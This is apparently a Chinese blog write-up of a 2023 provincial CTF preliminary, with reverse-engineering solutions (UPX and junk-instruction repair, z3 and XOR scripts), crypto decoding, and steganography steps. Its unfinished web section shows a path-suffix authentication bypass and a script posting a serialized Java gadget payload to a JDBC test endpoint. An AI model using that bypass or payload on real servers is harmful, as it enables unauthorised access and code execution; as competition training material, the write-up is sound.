2023年某省网络安全挑战赛-社会组初赛 WriteUp

Reverse

ldd

UPX魔改修复段 UPX0, UPX1

花指令修复

u掉 call ，然后E8这个指令nop掉。下一行按 c。main处按p 即可恢复代码。

int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  char v5; // [esp+0h] [ebp-F8h]
  char v6; // [esp+0h] [ebp-F8h]
  int i; // [esp+D0h] [ebp-28h]
  char Buffer[24]; // [esp+DCh] [ebp-1Ch] BYREF

  strcpy(Buffer, "DASCTF{????????}");
  sub_40107D("Please input your answer:\n", v5);
  v3 = _acrt_iob_func(0);
  fgets(Buffer, 17, v3);
  for ( i = 0; i < 16; ++i )
  {
    Buffer[i] ^= Buffer[i + 1];
    Buffer[i] -= i + 1;
  }
  if ( *(_DWORD *)Buffer == 0x130D1004
    && *(_DWORD *)&Buffer[4] == 0x4751370D
    && *(_DWORD *)&Buffer[8] == 0x2730FEF7
    && *(_DWORD *)&Buffer[12] == 0x6D0AFAF3 )
  {
    sub_40107D("WoW, you are get the true flag!", v6);
  }
  else
  {
    sub_40107D("errorrrr!", v6);
  }
  return 0;
}

z3 解方程.

from natsort import natsorted
from z3 import *

s = [BitVec('s1_%d' % i, 8) for i in range(17)]
enc = [0x04,0x10,0x0d,0x13,0x0d,0x37,0x51,0x47,0xf7,0xfe,0x30,0x27,0xf3,0xfa,0x0a,0x6d]
s[16] = 0
solver = Solver()
for i in range(16):
    s[i] ^= s[i + 1]
    s[i] -= i + 1

for i in range(16):
    solver.add(s[i] == enc[i])

print(solver.check())
res = solver.model()

lst = natsorted([(k, res[k]) for k in res], lambda x: str(x[0]))
for k, v in lst:
    print(chr(v.as_long()), end='')

luoing

自己没搞定: https://www.52pojie.cn/thread-1831696-1-1.html

.text:0019602B 0E8 55                            push    ebp
.text:0019602C 0EC E8 00 00 00 00                call    $+5
.text:0019602C
.text:00196031
.text:00196031                                   loc_196031:                             ; DATA XREF: sub_196010+23↓o
.text:00196031 0F0 5D                            pop     ebp
.text:00196032 0EC 48                            dec     eax
.text:00196033 0EC 83 C5 08                      add     ebp, (offset loc_196039 - offset loc_196031)
.text:00196036 0EC 55                            push    ebp
.text:00196037 0F0 C3                            retn
.text:00196037
.text:00196037                                   sub_196010 endp ; sp-analysis failed
.text:00196037
.text:00196037                                   ; ---------------------------------------------------------------------------
.text:00196038 E8                                db 0E8h
.text:00196039                                   ; ---------------------------------------------------------------------------
.text:00196039
.text:00196039                                   loc_196039:   # 上面全是垃圾代码                          ; DATA XREF: sub_196010+23↑o
.text:00196039 5D                                pop     ebp

这些都是垃圾代码。nop掉。下面代码按u。main 处 u, p ,

下面这种简单修理下..

再把 E9 给nop掉. 修复后如下

int __cdecl sub_5A6290(int a1)
{
  int result; // eax

  result = 4;
  dword_5B13F8[0] = a1;
  for ( dword_5B1004 = 1; dword_5B1004 < 624; ++dword_5B1004 )
  {
    dword_5B13F8[dword_5B1004] = dword_5B1004
                               + 1812433253
                               * (dword_5B13F4[dword_5B1004] ^ ((unsigned int)dword_5B13F4[dword_5B1004] >> 30));
    result = dword_5B1004 + 1;
  }
  return result;
}

处理好花指令后.代码如下..

就是普通的异或比较.上面的随机数是

Mersenne Twister随机数生成器.有反调试检测..需要开反调试插件.或者手动patch才能取到正确的值...

data_twist_rand =bytes.fromhex('862daff0f3c88ef4e4a7dcbaafabdccf831cc0da37901a3024876aeba807e8f3a65157432615a92199cc45544a063178b5')
enc = bytes.fromhex('C26CFCB3A78EF58381CBBFD5C2CE83BDE66AA5A844F5455950D80398F77487ACC53E382F0768')
for a, b in zip(data_twist_rand, enc):
    r = a ^ b
    print(chr(r),end='')

或者的汇编patch一下,造成无限循环,再attach上去.

web

百分富翁

Firefox格式化js代码后。

在对应的alert处修改判断值，即可弹出flag1,flag2.

easyspring | 未完成

Crypto

classical && coding

https://www.yii666.com/blog/5791.html?version=2.5.50000.153&platform=win

照着做。

From HTML Entity

From Charcode base 10

Brainfuck

Morse

词频。

Misc

m00n

解压 m00n.zip 4位密码: m00n
将m00n.jpg 另存为 png, 补全 flag 文件的png头和尾部。另存为 flag.png
fff.txt 零宽隐写得到 开头两个字母大写，其余小写
moon.jpg 右击属性得到 outguess的消息。

fff.txt用sublime或者 vscode 全选能看到morse码。解出CORRECT_MORSE

outguess -k "Correct_Morse" -r m00n.jpg -t 1.txt

得到 1sb_SecRet

cloacked-pixel解密 得到 flag

DASCTF{This_m00n_1s_be4utifu1}

web - easypring | 未完成

public class TokenInterceptor extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String url = request.getServletPath();
        boolean hasNoSession = ServerConfigUtil.hasNoSession(url); // ".js", ".css", ".html", ".jpg", ".png", "/" 结尾即可为 true进行返回。
        if (hasNoSession) {
            return true;
        } else {
            boolean isLogin = ServerConfigUtil.getTicket(request);
            if (isLogin) {
                return true;
            } else {
                response.sendRedirect("/");
                return false;
            }
        }
    }

http://localhost:8080/sp/testConnection/ 直接使用/ 结尾进行绕过进入 return true

curl 192.168.142.1:8080/app3/testConnection/ -d 'Driver=com.tinysoft.jdbc.bridge.client.ClientDriver&url=jdbc:tsserver://127.0.0.1:3306/test'
# jdbc:tsserver 地址是是从服务器端发起的请求地址.

import base64
from requests_html import HTMLSession

s = HTMLSession()

txt = open('cc3.bin', 'rb').read()
payload = ''.join(chr(x) for x in txt)

data = {"Driver": 'com.tinysoft.jdbc.TSResultSetMetaData', "url": base64.b64encode(txt).decode()}
r = s.post('http://localhost:8080/sp/testConnection/', data=data)
print(r.text)

posted @ 2023-09-09 22:05 wgf4242 阅读(288) 评论(0) 编辑收藏举报

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2023年某省网络安全挑战赛-社会组 初赛 WriteUp